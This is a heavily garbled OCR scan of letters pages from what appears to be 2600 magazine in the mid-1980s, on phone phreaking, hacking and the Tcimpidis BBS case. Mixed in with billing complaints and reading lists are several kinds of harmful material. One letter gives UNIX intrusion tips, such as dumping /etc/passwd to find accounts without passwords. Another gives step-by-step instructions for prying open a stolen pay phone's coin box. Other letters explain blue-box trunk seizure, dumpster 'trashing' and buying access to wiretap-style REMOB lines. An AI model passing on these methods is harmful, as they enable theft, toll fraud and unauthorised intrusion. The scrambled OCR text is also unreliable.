['he privileged accounts that are on most UNIX sysiems are "root™, “hin™, mays,
and “adm”, Others such as “games™ and “uwep™ are also on most systems. The
former usually has no password or a simple one and 1s great Tor “getting vour foot
in the front door.” The latter uses a special protocol and contains files with
passwords and telephone numbers to other UNTX svstems! The most powerful
account 15 the “root” account which belongs 1o the “super user™, it can also be

accessed via the "SU™ command as mentioned.

[he best part about UNIX is that it is set up 50 that anyone can view anyonc
else's files. For example, the lowest user in the UNIX hierarchy can usually type
“cat /eic/ passwd ™ and the contents of password file is dumped with the passwaords
encrypted. As mentioned, this 15 good for looking for accounts without passwords
and Ainding out usernames. Also, the passwords are encrypted using a modified
version of the DES encryption algorithm. It is possible, if you know the key [ves,
there is a rather simple default (use your imagination) and we all know about
defauls...], w0 use the “crypt” command to decrypt the passwords. Also, there is
massive documentation on-ling along with the source code for all the commands!
Also, UNIX is programmed in C, which is an awesome programming language;
knowing C is a prerequisite for any serious UNDX hacker, IT vou know Cand have
the right accounts, vou can casily modily the system to your liking, Another plus
for hackers isthat all 1/ Ovis treated as files which opens up a Pandora’s box of fun
for hackers.

There are literally hundreds of holes in UNIX for the hacker. [ cannot possibly
discuss them all here but 1am planning onwriting anarticle, "UNIX for Hackers™,
in the near (7) Tuture,

Giranted, though, UNTX can be semi-secure but most LINTX administrators lack
the intelligence toe realize this,

BIOC Agent 003
Diear 2600:

What 15 the iclephone number for the N5AT?

Mikhail GGorbachey
The Narional Security Agercy, which robody & supposed ro know abour, s one of
the most secretive orgarizations i existence. Their main phone ruember f5
JOFAEREI 1 buer we ve heard thar they urk abowt in 300677 as well. When calling
this mamher, vors carrask for their public relarions depariment or any other for that
marier. By the way, for some reason wiich s completely bevond s, Hris mumber
residles in an XY step office—one of the mast privnifive switching ceniers in
existenice 15 this any way for an intelligence apency to operale?
Dear 2600:

MO, Sprint, etc. must be controlled by MEF tomes. Any idea how they work?
Phreaking opportunitics?

HK
Tr acruliny, the majority of alvernate carviers aren 't corrodled by MF fones af all.
Many wiilize srandard rowck-tones, Whar they do is store all of the digivs uneil the
dast ore is enlered by the subscriber, Then, the computer finds a ine i the city for
area ) the subsoriber is calling to, geis a dial tone, and serds out the 7 digin LOCAL
rumher. This o how they marage to have lower rates—ihey gei fo the city by
mierrwave ar sarellite, erc., i oter words, they avold ATET. O occasion,
though, the altermaite companies” limes i ocher cities ger ted up. When thiz
happens, they wie feased lines from A T& Tas a backup, which cosis them exiraand
probably accouns_for the ocoasional pood conmection yvou may gel.

Natwrally, i these comparnies are dialing owt on local mumbers, @t st
occasionally e possible for sormeone fo dial INTO those same mumbers, Whar
happens then? Someiimes acihing af all. Other times yvou may acteally hear
cosversations. Amyiling s possible. One way fo find ouf what @ company’s focal
number i o particalar civy is 1o dial the ANT number for that city after the local
area codie, Mew Fork Cines ANT i 938, (D6l 938 in New York and vour phone
nember i read o vouw ) On e lomg distance carcier, vou may be able wo dial
JIMSEXN XXX and have a number read,

Maost systems are trained o hang up ot the sound of 2000 Heriz, Somerimes,
thovgh, i will drop ro g dial toene i whatever ciiy vou called, Towch ones can be
peiared s phe ediaraar ofiad vore, Bt most phireak s only make “Tocal = 7 digit calls, since
sher W never show i on a ball,

Chely o fong distance service we know of respords to M F tones and thar s ITT.
The v se a special sequence of these fones tna way thar s different from ATET. We
haven ¥ figured it owl ver,

Dear 2600:

Re October 1984 article in 2600 on switching centers: AT& T has changed the
way il routes calls,

Withowt telling anvone, ATET shifted from hicrarchical routing to non-
higrarchical routing. See paragraph 19, page 8 of a Federal Communications
Commission document dated January 25, The FOCU document is not specific but
apparently ATET changed the software that controls switching.

[Mote toall hackers: Have you noticed anyvthing different about the switching of
ATET calls? Let us know. | ,

Apparently the FOU approves of the new ATET routing scheme althowgh
Albert Halprin, chief, FCC common carner bureau, is miffed that he was not told
of the plans to change ahead of tme. WATET had told Helprin, a lawver, he might
have filed a 100 page order to AT&T that was impossible o understand let alone
comply with. AT&T executives apparently decided that discretion was the better
part of valor, That the system was unlikely to crash if the change was made. That
the less Halprin knows about the neiwork the better off everyone will be.

Hunter Alexander
PS5, Implications of non-hierarchical switching: Does it reflect the new power of
the microcomputer and the competitors of AT&T? Does it show a new
cpalitananism has come to what used o be called the telephone company?

I you want to read up on the old way of switching with five levels of hierarchy,
gl Notes on the NMenwork, ATET, Network Planning Diviseon, Fundamental
Planning Section, 1980,

We re happy vou found out abour this. We ll zee i we can figure oul what the
Farnificarions will e,

L] L] L]
CORRECTION: Last issue’s story on COSMOS was not written by Firemonger
but by Fire Monger. We regret the error.
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DEAR 2600:
When will it alsost be impossible to use Lung Distance
Services? It is so easy to Phreak off thes and they never
catch the majority of us, but when will 1t stop? g
uzzle

ONLY WHEN THE WORLD IS A BURNT OUT CIKDER WMWILL IT STOP
CONPLETELY. A4S TECHMOLOSY CHANGES, SO DD PHONE PHREAKS, BLUE
BOXES USED TO BE THE ONLY WAY A PHREAK MADE FREE PHONE CALLS.
HON THERE ARE EXTENDERS AND ALTERNATE CARRIERS. ME DON°T
THINK ITEHgEHE ARE ?DIHE T0 DIE CUT ANYTIME SOON. ALTERMATE
CARRIERS (SPRINT, MCI, ETC.} WILL GET HARDER TO ABUSE AS EQUAL
ACCESS MOVES 1IN, BUT THERE WILL ALWAYS BE A NAY, WE LOVE 10
HEAR ABOUT NEW NETHODS.

OPEN LETTER: . : .

7 a.m., 02/07/85: Pursuant to a2 telephone discussion with
Reginald ﬁuqn, head of the criminal division of the Los
Angeles’ City Attorney’s office, [ was informed that the
gruse:utunn believes it has ;n;u+ia::ent evidence to continue

he prosecution of Tos Tcimpidis, S5YSOP of MOo-UR. This
detersination was made after [ requested a review of the case
on 1/11/B5 atter the dng:rture of City Attorney Ira Reiner to
become D.A., and while the City Attorney’'s office is being run
b{ the civil service staff pendlnﬁl election of a new “cit
attorney. Mr. Dunn has given me his word that the p:uTlE Nil
seek dismissal of the charges against Tom under California
Penal Code Section 1385, i.e,, ‘Dismissal in the interests of
justice.” Under California law, such a dismissal is ‘with
prejudice’ and  the pepgle can  not refile the case
SuhngHﬂntlﬁ. To put it succinctly, a dismissal will
terainate the prosecetion permanently. :

s [many of youl know, the City Attorney’'s office has
previgusly reneged on representations made to me rrgardlni
disaissal of the charges. [ wish to assure everyone that
have known Wr. Dunn tfor 10 Enars, and [ ‘trust his word
cospletely, 1# he says the case will be dississed, | am
satisfied that such an action will occur.

We win, Win...win...win...win,..Win. My thanks to everyone
who contributed to supporting Tom and me in the defense of
this matter. [ consider this to be a major victory for the
rights of 4ree speech over the 'big brother’ sachinations of
the phone cospany. _ _

| would be Eriteful if Enu would download this message and
place it on other systess throughout the country. This is a
very big victory, and the BBS and modes comsunities should
know about it,

Again thanks for the support. R

Chuck Lindner, ittﬂrﬂEI for 5Y50P Tom Tcispidis.

B p.w., 02/07/85:  The case ot FPeople vs, Tcispidis --
a,k.d., use a modes, go to jail -- was dismissed in the
‘interests of justice’ this wsorning, 2/7/8%.  As noted
garlier, this dismissal 1s with prejudice, and Tom is now free
of the PacTel scourge.  FAnother small step for something
reseabling justice.

Chuck
THRILLED WE ARE FOR TOM, BUT CHARGES DROPPED MEANS LAWS
RENAIN. IN THIS CASE TOM BOT AMAY WITH WHAT HE DID OR THE LAN
JUST REALIZED THAT THERE WAS JUST NOT ENOUBH EVIDENCE TO PROVE
AKYTHING. BUT CALIFORNIA STILL HAS MORRIBLE TQUSH LAMS THAT
00 NOT PERMIT PRINTING NAGAIINES LIKE 2600' YOU CAMNDT EVEM
DISCLOSE & PHONE NUMBER OR A PASSNORD FORMAT LET ALONE A WHOLE
PASSWORD THERE. WE ARE GLAD HE 60T HIS WACHINE BACK, WHICH IS
ALWAYS A PLEASANT GSURPRISE.  WE ENCOURAGE OUR READERS 10
SPREAD THIS NEMS WHEREVER THEY GO AS 1T 15 A VERY IMPORTANT
DEVELOPMENT, [FOR THOGE WHOD DON’T KNDW, TON TCINPIDIS WAS THE
GYSOP OF A COMPUTER BULLETIN BOARD' THAT SOMEONE POSTED A
CREDIT CARD NUBER ON.  THE PHONE COMPANY DECIDED TO PRESS
CHARGES AGAINST HIM EVENM THOUGH HE CLAIMS MEVER T0 HAVE SEEN
THE NUMBER IN BUESTION. THEY TOOK WIS COMPUTER AND BOT HIM A
LOT OF MATIOMAL ATTENTION.]

DEAR 2500:

Have you been Fiidinﬁ_ about those new high tech secure
telephones? ['ve been t 1nk1nﬁ about what esust be inside
thes, The closest thing I've heard to that kind u#,technu}n9f
would be DWP - ﬂl?ltil Voice Processing., [It's like digita
audio Erntes;:nq, but atter the voice 1s turned into Dits,
dstdstkskfgsjkfggreegfds

they scrasble thes up and then send them off. The other side
then decrypts the bits and transtoras the di:r{qted signal
back into voice. The stutt [I've read [in Popular
Comsunications Magazine, around a year ago) said that a lot of
law enforcement agencies use it to Scrasble their radio
transaissions (1 ‘believe the ones mentioned were the DEA and
the Treasury police, wsaybe the secret service, but nnt.i

intzrt;linali enough, the FBI}. The unl{ probles is that i
didn’t work too :31 - many people reported hearing the agents
sWitching the oft_an grinﬁlltt ng @ norsal, unscraibled
signal because they couldn™t qet it unrh1n€ right, However,
pver a land line it would probably work a lot better. And the
nice thina about DVP is that it really is secure, as long as
no one Enows your scrasbling algoritha - however, 1 imagine
the Russians already have the plans for one of those fhnnns,
iven that very few military secrets ever resain secrets for
png.  Besides, if the governsent orders several thousand of
thes, it stands {u reason that at least one would end up in
the wrong hands.  Anyway, I's not sure that knowing the
innards of those phones would help you unscrasble the traftic,
gince that might only cut down the number of possibilities to
a few billion instead of a few quadrillion. The whole peint
of encoding 5nlethinﬂ is so that your eneay does not
unscramble "1t while the information is still userul to either
of you.
E’FI often thought about how to do sosething like that with
our little micros.” Two people talking on the phone via a
scrambled sodes link have a resarkably secure connection,
Ernwided they are using the right software for mixing up the
its. | sees to reaeaber that ESS's these days are configured
to autu-ati:all; detect any kind of scrasbling going on, and
alert security folks whenever a scrambled conversation is
neticed. The rationale is that someone scrasbling a
conversation has something to hide, and the big governsent
boys are interested in people who have things to hide.
However, the aforesentioned pair on the phone would not be
noticed by an ESS, since all they would be doing is setting up
a norsal modem conversation, and if they didn't mind slow
comsunication they could be even more secure with  an
encryption schese that seat two or three lines of "noise” for
every character of genuine information being transterred. The
noise could look very innocuous, say the transactions on a
'le%al' bulletin bozrd, and thus not even appear to be hiding
anything.
?E? ghe Wiy, those are the best possible secret codes, the
kind that do not appear to be anything out of the ordinary and
thus are not even thqu?ht to be codes at all! Another
possibility is to send information in the fora_of the time
delays he{nren each character transaitted. That means that
someone "listening in® on a digital conversation by having the
data printed out would miss out on the entire message, sine
his printer would only record the characters sent, which in
this instance are utterlE_unlnpurtant} By the way, monitering
of a cosputer conversation may not be considered wiretapping
since the statutes concerned can be narrowly interpreted to
cover only audic taping of a conversation, not digital

pavesdropping.

aping Informed as Hell

MANY PARTS OF °*PUIILE PALACE® BY JAMES BAMFORD G0 INTO
DETAIL ABOUT THE FORMS OF CRYPTDGRAPHY USED TODAY BY THE
KATIONAL SECURITY AGENCY, WHICH IWCIDENTALLY HAS EXPRESSED A
STRONG INTEREST IN SUBSCRIBING T0 US.  NE HOPE THEY WILL
CONTRIBUTE MANY FIME ARTICLES.

DEAR 26008

Does 2400 baud work on standard Bell lines?

YES, 2400 BAUD IS ACTUALLY 4 BITS AT A TIME AT &00 BAUD.
AND BELL LINES CAN HANDLE THAT.

DEAR 2600: |

1 1 want to go trashing, as 1 forced to just attack sy
Central Office?

THERE ARE LOTS OF 600D PLACES TO TRASH BESIDES PHONE
COMPANIES. LOOK IN THE PHONE BOOK UNDER SOFTWARE COMPAMIES,
PHONE EQUIPNENT, COMPUTER EQUIPMENT, ELECTRONIC EQUIPMENT.
OR LOOK AT REDID' SHACKS, OR BTE, M&I, OR YOUR LOCAL CABLE
COMPANY. YOU WILL FIND LOADS OF THINES, LIKE FREE TELEPHONES,
FLOPPIES, ETC.

all kinds of letters
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L CULCTS

Which of the many computer networks

are the best to use?
We looked for a Ffew replies to this
and here are a8 couple of them:
Aaccess 8 atabase that Is on

UNINET, TYMNET, TRLENET, and DUSNET.
I've only used TVYMNET and TELENET,

and TYMNET is far superior. TELENET
is one of the most exasperating
experiences I've ever had.”

"Why, TYMNET, of course!

"Seriously, Tyvmnet has more nodes
than any of the others; It Is also
maore secure. I have used TELENET as

a private user, and it is MUCH slower
than Tymnet, but since you're onot
going to out-and-out believe someone
who works for one of them, [ suggest
yvou lock at a study done Er DATAPRO
Fesearch Corporation (they’'re in
PDelran, NJ) which compares TELENET,
TYMNET and several other companies.”
We’d like to hear more on this.

Whaut are silver box tones?

Fvery touch tone phone can produce
sixteen tones, not Just twelve.
There is the capability for an addi-
tienal row of buttons on the right
side. These tones are labeled
(moving from top to bottom) A, B, C,
and ), They are aiso referred to as
Flash, Flash Override, Priority, and
Priority Override (in Increasing
order of Importance). This Is how
the calls are treated when they are
wade, Thus a "D" call gets priority
over a "B" call. This system is used
primarily on Autovon, or Pa Bell, the
military phone network, which can
shut down the regular network at any
time. The tones are also used for
test purposes and occasionally deo
interesting things for phone phreaks.

What is 9507

9250 is an exchange created to ful-
fill part of the urpose of equal
AcCess. was designed to work in

all ares codes, so that the same
access number could be used by a long
distance compan nationwide. In
other words, S50-1022 will get yvou
MCI wherever vou are. There is no
charge to call 950 numbers and the
connection is always crystal clear.

You can only dial this exchange
locally, I.e. you cannol access San
Francisco's 8950 exchange from. lLos
Angeles.

Is it easier to trace B00 calls or

950 calls?

Tracing an 00 call simply is not
as easy as tracing a 950 call. 800
numbers exist all over the country
whereas 950's aren’t an actual
exchange, but are Jlocated within
every central office. Thus, ANT
(Automatic Number Identification)
Iintra-exchange is very easy. The
further away from the central office,
the harder this becomes.

What is REMOB?

REMOR is remote observation. Call

a8 npumber, enter a8 code, enter a
number, and listen. Ke need more
info on this one ourselves,
Especially as te if these numbers
really exist. WFe do admit that the
tecﬁna]aﬂy is there. I'n fact, we
were tol of the number where you

could overhear randem MCI conversa-
tions in Texas, a few months ago,
without entering Eﬂi . codes, but it
stopped working by the time we went
te print.

what follows are two true accounts
of adventures that were sent to us.
The first was sent by The Crazy Man.
It depicts thievery and destruction.
2600 In no way condones this type of
activity.,. We really do not. But
there are some things te learn from
the first adventure about the
construction of payv-phones, so we

decided to include it. As they say:
Learn good things-the bad will teach
you ¥ themselves. The second

adventure 1is presented for your

amusement only.

you because 1 have
done something that might be of
importance to the readers of this
mag. Well, a few days ago me and_ a
friend went {0 a construction site
and found a telefone on a piece of
wood with a wood base, so we decided
te take the bitch home. Well, never
underestimate the power of a fortress
fone. We read a file that BIOC wrote
called Basic Telecommunications, Part
VI. It said that you could drill out
the main lock located on the right
side of the coin box. So we tried to

I am writin

atte.ft this daring feat. Never, I
repeat, never waste your time
drillin out the lock. It will take
days and days and robably about 30

drill bits. After about five hours
of drilling, me and my friend decided
to try a different approach. We
knocked off the metal washer located
right on top of the coin return (it
should just break right off). Then
we used a pair of vise grips to tear
the metal off around the coin return.
By doing this we came upoen the coin
box, but it still had the lock on to
of it! Now, this is the part tha
takes the longest time. You have to

rip out {(with the grips) the metal,
which is onl 1/8 inch, that
surrounds the entire coin box. Then

you must push all of the locks around
the silver plate in, or the silver
plate will never come off. After
pushing in the locks, you might be
able to remove the silver plate. If
not, then take &a good size sledge
hammer and a trust crow—bar and
whack the plate as ard as you can,
making the lid come off. Now, {uu
might think: Now that I got the
Elﬂtﬂ off I cam just ull the coin
oX right out. Wrong. o ull the
box out you must have a key to unlock
the coin box. If yvou den't have a
key (which I didn’'t then put the
trusty crow—bar around the coin box
and bend the box till it's removable.
Now be sure to get the little slips
of paper that say "Sorry, this phone
is temporarily out of order.” They
are compliments of Bell. Now you

chould be about 50 or 60 bucks richer by now, mwﬂ it on parts to
make a blue box, or something related to phreaking. Juck.

Monday, D4/01/25 6:08 a _

The phone rang. I oot up, looked at the desk, it’s 6:06 aa, an hour
before T 9o to school. I py:i the receiver up. “ls this John Hckee? asked
the caller urgently. “Yes," I replied half asleep. "You better get rid of
your printouts and your stuff on disks, you're gonna get a visit within the
next 20 minutes,” the kid said. He hung up. I got nervous. The phone rang
again, “John, this is Jim, Greg just got twsted and his brother has been
calling up all of his friends on a sheet Greg had. Did he call yo?® “fes
he did,” I said. “You better believe it, because you're gonna get nailed
with the rest of us. et rid of everything, burn it.” I thought to myself,
"What did I do to sake thes want e=? ? Ho time, have to burn every-
thing pertaining to illegal wrongdoings.”™ 1 was panic-stricken. I got 1t
together and ment outside and burned 1t, disks, printouts, everything. As I
was returning to ey house, Imdered_lf_lllse'r had & tap on ay line. The
phone rang another time. “Chno. Whe is it now?” [ went in and ansmered
it, only to be told "April Fools!™ Click.
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LETTERS AND QUESTIONS

I live in the 215 (Philadelphia area) area
code and made a directory assistance call to
609 (South Jersey) to ﬁet an Atlantic Cily
number, and then place the call to the
actual number. The actual call naturally
appeared on my AT&T portion of the bill.
Pul the killer is that the directory as-
sistance call, ﬁupgﬂsedl one of an
allotment of 2 free DA calls via ATET, came
up as a $.50 charge on the
portion of the bill! Apparently, Bell of
Fa. owns a special exception to the inter-
-state  rules and  handles calls to 3
neighboring NJ counties. Since director
assistance 15 wwobably  handled out o
Trenton, my DA call got handled and billed
by Bell of Pa. You won'lt believe how ATET
handles this situation--you have to call
them up (1-800-222-0300) and they look wou
up to make sure you made the equivalent
required  call, then credit your ATET
account ! Since Lthis is a totally manual
operation, and since we the public have
never been told of this strange hack,
chances are good that  Bell of Pa. is
collecting gobs of half dollars which their
customers really do not owe; furthermore,
when a watchful customer does go through the

requisite manual  process, it seems as if
Bell of Pa. ends up with ATET's mﬂne¥‘ AT&ET
also seems to be able to see the Bell of Pa.
portion of the bill on #*their¥ computer

terminals. Why do I get the impression that

AT&T is not as severed from the operating
companies as they would have us believe?
Hmmmm . . .

[ recently had my telephone disconnected
due te the fact Lhat m{ roommate had
forgotten to pay the bill. 1 have no
dispute with the billin my

% howevear,
question is: My PacTel bi 1 was around $15.
We had paid off $85 of our bill, leaving a
balance of $82. Therefore, T would assume,
we had paid our debt to PacTel and only owed
money to  ATET. Now at the bottom of my
monthl lon distance statement, 1t says
that the billing is only provided as a
service to ATAET, with whom Pacific Telephone
has npo  connection. If this is the case,
under what authority did they cut off my
telephone service. If 1 fail to pay my MCI
bill, would PacTel cut me off? Shouldn’t I
just be ecut off from ATET's lines, and
collecting is their problem? Just a little
more confusion resulting from the break-up.

Bell of Pa. |d

1985

beeping KP + 160 + ocean code + ST. These
clones sit at TSPS consoles, but  have
neither ship’s directories nor understanding
of the Marisat network.

The folks at Comsat's Maritime Services
department are more than happy to Suﬁpl the
shipping and offshore industry with ship’s
directories and Marisat users guides free of
charge. Call (800) 424-9152, anytime of

ay.

And while {nu‘re ka-chirping across the
network, you'll be amused to find out that
the Hate Route operators have moved, and
are now only available on (B00) 141-1212.
If you're drivin% cross—country Lthis summer,
then be sure o stop in one of those
two-pay-phone lowns and try dialing this
routing. It's amazing how many independent
telcos pass vou right through!

Rusty Diode

In vour February 198BS
James that te call ships
first call the operator an
connected to the hi%h seas operator. This
is nice, but it's awful damn slow, and most
Bell clones won't know how connect  you
anyways.

To call ships at sea, you must [irst call
one of these toll-free numbers. Either the
Marisat operator  at B0O0-243-3640 {or
264-9090 in CT) or Maritime services at
BO0-424-9152. Be prepared to give the op
yvour billing information, plus the name of
the ship and seven digit ID number.

Most phreaks will route this call through
a PBX or blow off another WATS number and
then box the call. There have been times

issue,
at sea
d then asﬁ

vou told
he must
to he

to

when some EntEFYFiEiHE phreaks decided Lo
bill their calls to the local CO. of
course, we all know that 2600 readers would
not do this.

I am writing this letter because [ found
some humor 1in an old tv commercial that 1
saw several months ago. The commercial was
one by AT&T. It was titled "AT&T 1s in
Cereal”. The commercial was aboulbl Lhe
toll-free number that can be reached to find
the treasure from a map included in a box of
cereal. Big deal you say! The catch is,
the name brand of the cereal was Captain
Crunch. I find that interesting because, if
yvou remember, Captain Crunch is the cereal
that contained the little blue whistle that
ic now known as a blue box. And everyone

Nobhody should really be surprised when (wolcaused ATAT.
were once one do each otherlthe

companies  that
favers. We've heard
tales and would like to Hear more.

uite a few similar
Perhaps]

we could gather them tﬂ%ﬂtﬁﬂf and go to thel
right person and get these companies in a
big pile of trouble. Nothing [like phreak

revenge, they say.
I am writing

in reply to James (Feb. H5
issue) and other

readers who have conspired
to call merchant ships on the high seas.
You may dial them direct, and pay $10 per
minute, by dialing 011 + ocean code + ship's

terminal number. The ocean codes are:
H7l-Atlantic, HY72 Pacific, and 873-Indian
ocean. The ship's terminal number can be

discovered by asking your telco operator for
the Marisat operator (in Alaska dial 211
and ask for the marine ﬂperalnrﬁ, who has a
directory of all the ships (except the CIA
ships, which someone forgot to include...).
Ship's  numbers are seven digits, all
hnE;nning with 1" (e.g. 1501604, AT&RT's
Ca

le Ship Long Lines). The blue box crowd
CHN Feac the international operators by

knows how much trouble that little device
It just goes to show Lhal even
big guys can do something against their
will for the right price!

The Silver Sabre

Just one correction on that. The whistle
was not a blue box {can yvou imagine finding
a8 complete blue box in a box of cereal?!!,
The whistle was able to produce a pure 2600
herts tone, which seized long distance trunk
lines, thus enabling blue box tones lo be
utilized. The 2600 hertz button is the most
important part of a blue box, unless you
live in an area that allows you to dial
right into an open trunk, thus making 1t un-
necessary to seize one.

Got something on your mind? Then write
tor 2600 ILetters FEditor, Box 99, Middle
Island, NV 11853-0035. You can ailso leave
us electronic mail on our official bulletin
board, The Private Sector (2013664431). If
vou have a problem with your subscription or
a question, write to: 2600, Box 752, Middle
Island, NV 11953-0752 or call us  al
A67512600.
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LETTERS

_ I've seen piles of examples of
inaccurate billings from alternate long
distance companies (mostly resulting from
a lack of called party supervision
control). Automated data calls are the
biggest culprit-—where the other end
didn’t answer or was busy and the modem
took about a minute to timeout itypical
setting for a 1ﬂﬂ¥ distance ecall). The
calls charged as if they had been answered
in each and every case. There are many
more mundane cases that are generally
known--the C-SPAN cable service had some
problems since thei let the phones keep
r1n§1ng on their talk shows until they are
ready to put people on the air. Thus, the
phones might ring for five or ten minutes
or more, and many people gust got ringing
and eventually gave uTi uess what? The
¥Eﬂfle calling via alternates discovered
hat they had otten billed for those
calls-—even thou they were non—answered.
Lots of them. ow if a company wants to
make it a policy that you pay for all
calls whether they are answered or not
that exceed a certain duration, I guess
that’s OK, but nobod dﬂing this has ever
adwitted publicly that that's what the
do! In fact, if you confront them wit

the question they deny it as often as not
(most likely because they don’t understand
what wyou're ta]klng about because they’ve
never been told what’s going on!).

The little guy who makes a few long
distance calls a week doesn’t have to
worry about calling up the alternate’s
business office once a month to clear off
a couple of bad billings. But many busi-
nesses are in exactly this sort of
situation, and needless to say they can
get a bit tired of itjpretty quickly.

We'd like to compile a Jlist of Iong
distance companies that charge for un-
answered calls and busy signals. It could
prove invaluable to consumers who are
sﬁqggxﬂg'arwundl If you want to help us
on this, call or write us. We'd also like
to know how much of a hassle each company
ggeaggﬁj for removing wrong numbers

e bill.

About that white box article you printed
in April--I built one soon after I read
the article on OSUNY and found out that it
really doesn't matter whether vou use one
nine-volt battery or two. The tones are
slightly louder with two batteries, but
using one battery is a lot more con-
venient. Since when the pad sits in a
telephone it is powered by the 7-9 volts
"off-hook" voltage that the phone line
gives you, it would seem strange that it
would require 1B volts sitting by itself.

I got my first issue of 2600 yesterday
and was fairly impressed. You convinced
me to buy Out of the Inner Circle, and 1
am almost finished with it. Somehow I
can’t get over Bill's confusion _about
bits-per-second and baud (see page 45).

Too bad nobody knows anything about IBM
systems; they are the most fun' I will be
trying your BBS again tonight -- and every

page

night until I get through.
_ Birmingham, AL
Hhen Eryving the BBS (2013664431), you
will get through more frequently if you
try repeatedly within a short period of
time, Most users cannot remain on for
longer than half an hour so you should get
through when they bhang up. It's also a
good idea to try "non-peak" hours, such as
the middle of a weekday. Those interested
in gﬁfﬂ-ﬁdjﬂg an article can do seo by
sending mail to "Z600 MAGAZINE". You can
then send up to 100 Ilines of text. PMe
handle AMODEM transfers at the office
(5167512600). Best time to reach a human
is between & pm and midnight, weekdays.

availability of a back-pack microwave
unit wit both ine-of-sight and
sateilite capability, with some type of
reement for paid &imefuse on satellite
annel? 1 was recently teld of this and
have not as of yet found any info on the

equipment /package.
Gulfport, MS

No one here knows anything about such a
device, except that it probably exisits
somewhere. In all likelihood, it wouldn’t
be consumer-oriented. OQur readers are
probably the best people to ask.

How can I obtain back issues of 2607

Every issue of 2600 is available as a
back issue. Since our first Issue was in
January of 18984, that means there are
currently 18 available, not counting the
one you're reading. Currently, we only
have a Table of Contents fﬁ; 18854, but
1985 back issues are also available.  Each
issue is $1 and you can order them at our
regular address (Box 752, Middle Island,
NY 11953-0752).

Incidentally, you may have npoticed a
change in our envelopes. Ke used to have
a8 stamp that looked like this:

11953-0752
ADDRESS CORRECTION DEMANDED

It was our tongue—in-cheek version of
the acceptable "Address Correction
Requested”, although some of our readers
took it to mean that we wanted to receive
frequent address updates from themw and
they kept us Informed of their whereabouts
at all times. Apparentiy a postal czar
somewhere caught sight of this and Issued
a  decree that such statements were
unacceptable. We felt it in the best
Interests of our readers to change the
offending staltement, as an angry post
office benefits no one. Ke were also
advised not to use our nine-digit zip code
as our only return address. Even though
the code is totally unique and leads
directly to us, this system "is not being
used yet"” according to the people who
implemented it a couple of years ago.

LETTERS ADDRESS
Box 959, Middle Island, NV 11353-0039
SUBSCRIPTIONS AND BACK [SSUES
Box 752, Middle [sland, N¥V 11353-0752

Would you have ang infhrmatiuq on the
1
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JrR Joll—

Dear 2600:

In response to the individual inquiring about a back pack
microwave system (July 1983), it is my understanding that it is
primarily a military field communications device with
collapsible satellite antenna and not, as you correctly assumed,
4 consumer 1tem.

Thank vou for a much needed, educational alternative to
blindly accepting the status-quo propaganda machine.

D.J.
Dear 2600:

In your May issue, yvou were talking about silver boxing and
mis-named the AUTOVON precedences. Here are the correct
names in order from highest to lowest: Flash Override, Flash,
Immediate, Priority, Routine (all calls are routine if no
precedence button is pushed, or if precedence buttons are not
installed on the phone).

SEVOX
Dear DJ. and SEVOX:

We alwayvs appreciate response from readers who have some
expertise to offer. Please do not hesitate to correct us.
Dear 2600:

For the reading list: Understanding Telephone Electronics,
developed and published by Texas Instruments Learning
Center, available through the Radic Shack chain, catalogue
number 62-1388, 288 pages, $3.49. This book 15 a technical
tutorial on the basics of telephone systems. You need a fair
amount of electronics knowledge to understand the stuff in
here, but nothing vou couldn't get from the other
“Understanding so and so™ books that Radio Shack sells.
Topics include the innards of both standard and electronic
telephones, speech, dialing, and ringing circuits, digital
transmission techniques, networks, moedems, and mere. In
short, this 15 a goldmine of technical information about
telephone communications, and (something rather out of
character for Radio Shack) is even reasonably priced.

This is from the Understanding Telephone Electronics book.
According 1o this book, 26({'s opening words about how
Alexander Graham Bell answered his phone (Jan. 84 issue) may
have been inaccurate, and | quote:

“Early telephone circuits were point-to-point (not switched),
and the caller gained the attention of the party at the other end
by picking up the transmitter and shouting *Hello" or *Ahoy”,
This was not very satisfactory, and schemes based on a
mechanical signaling arrangement were soon invented. The one
in common use today, called the *polarized ringer’, or bell, was
patented in 1878 by Thomas A. Watson (Mr. Bell’s assistant).”

So it seems that “Ahoy™ was not how A.G.B. answered his
phone. but more likely how he induced someone ¢lse (o answer
the phone. That makes more sense, since “Ahoy™ was usually
used at sea to raise the attention of someone else out thereon the
foamy brine. Imagine those days of early telephones, whc:l'e you
might walk by that new contraption and hear a dim voice inside
velling “Ahoy™

Talbot
Dear 2600

A while back you were asked if REMOBS really existed. |
can tell you for sure that REmote OBServation numbers do. in
fact. exist. The hardware is rmanufactured by different

companics. One of which is called Teradyne, which makes a
systemn called 4-tel.

These systems are working when an exchange is set up for it
in the Central Office. They are used for testing and are perfectly
legal,

The equipment was built so that you enter a code then a
number. It will listen to a number for a limited time and then it
sequences to the next number and then the next. But it v
takes a few scconds to modily the equipment, so it doesn't step
o another number.

As far as | know the going price is $1,.500 to get a telco
employee to do the modilications. A guy | know was
approached by a phone company employee who wanted to get
some money and he offered to set up the system and provide a
number and code that cbuld be dialed up from anywhere.
Dear 2600:

I've been thinking of starting my own bulletin board. But I'm
not looking forward -to the possibility that some jackass will
leave a credit card number or other nasty information on my
hoard and that some even bigger jackass will sce said messape
before 1 can delete it and accuse me of conspiring somehow to
defraud or sieal or build explosives or whatever else they
happen Lo be afraid of will happen at that moment, The recent
raids in New Jersey indicate that even a conscientious sysop (as
the fellow who was running the Private Sector claims to be) can
pet screwed over by computerphobic police and Federal agents.
What preemptive protections are available for a bulletin board
operator who plans on staying within the confines of the law
and yet does not want to stain her or his board with warnings
and continually censor the flow of messages? Freedom of the
press is a marvelous concept, and apparently allows folks hike
USA Today to stain every available streetcorner with their
onc-legged vending machines. What would one have to do 1o
become a “press™ You dont have to be made out of paper.
since radio and television reporters qualify. 1s there a union |
can join? A professional society? Mavbe we should start one?
Can you recommend any place where further information on
such would be available?

W.U. Friend
Dear W.L.:

You ask many infriguing questions, and we believe that we
could devote an entire issue (o answering them. fn face, we spert
a great deal of the August issue of 26000 discussing the very
things that vou brought up. Many of your questions could be
answered by aflowing vourself 1o ger busted and lerting Warren
Burger and the rest of the Supreme Court decide. This may be
the easiest way because there are few laws, guidelines, or
precedenis. Right now, we do not know of any "unions, " bui
there hundreds of computer user groups that are acrively
discussing these problems, and we also foresee groups forming
to specifically address the problem. Especially since those
computerphobes you were referring to are irving 1o gel
legislation passed to limir BBS's in this country. You must
remember that this is a very popular issue, and it will come into
play in various elections this fall, including those of the
prosecuiors® who are pressing charges against the Privaie
Sector’s sysop.
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Deear 2600:

Why not protect bulletin board disks by using 2 modified 103 than
stores 3 file by NORing w0 against 4 long pseudo-random numbser
generated from a seed” [he tile can be read by XORing it aginst the
